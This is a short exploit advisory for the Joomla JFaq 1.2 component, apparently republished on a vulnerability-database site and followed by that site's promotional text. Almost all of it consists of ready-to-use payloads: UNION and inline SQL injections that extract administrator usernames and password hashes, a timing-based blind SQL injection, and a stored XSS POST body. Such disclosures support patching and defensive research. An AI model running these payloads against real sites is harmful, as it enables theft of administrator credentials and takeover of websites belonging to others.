`
# Exploit Title: Joomla Component JFaq 1.2 Multiple Vulnerabilities
# Date: 11 May 2010
# Author: jdc
# Version: 1.2
# Tested on: PHP5, MySQL5
"title" input SQL injection
---------------------------
title', (select concat(username,char(32),password) from #__users where
gid=25 limit 1), 1, 1, 1, 1, 1) -- '
id SQL injection
----------------
requires: magic quotes OFF, Joomla debug mode OFF
?option=com_jfaq
&task=detail
&id=-1' union select concat(username,char(32),password),2,3,4,5,6,7,8,9
from jos_users where gid=25 -- '
id Blind SQL injection
----------------------
requires: magic quotes OFF
?option=com_jfaq
&task=categ
&id=-1' union select benchmark(1000000,md5(5)) -- '
Persistent XSS
--------------
requires: a method to manually POST to form
postdata:
option=com_jfaq
task=add2
visitor_name=foo
categ=1
titlu=bar
question=<img src="f" onerror="alert(1);//"
NOTE: cannot be manually input - editor script strips exploit
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation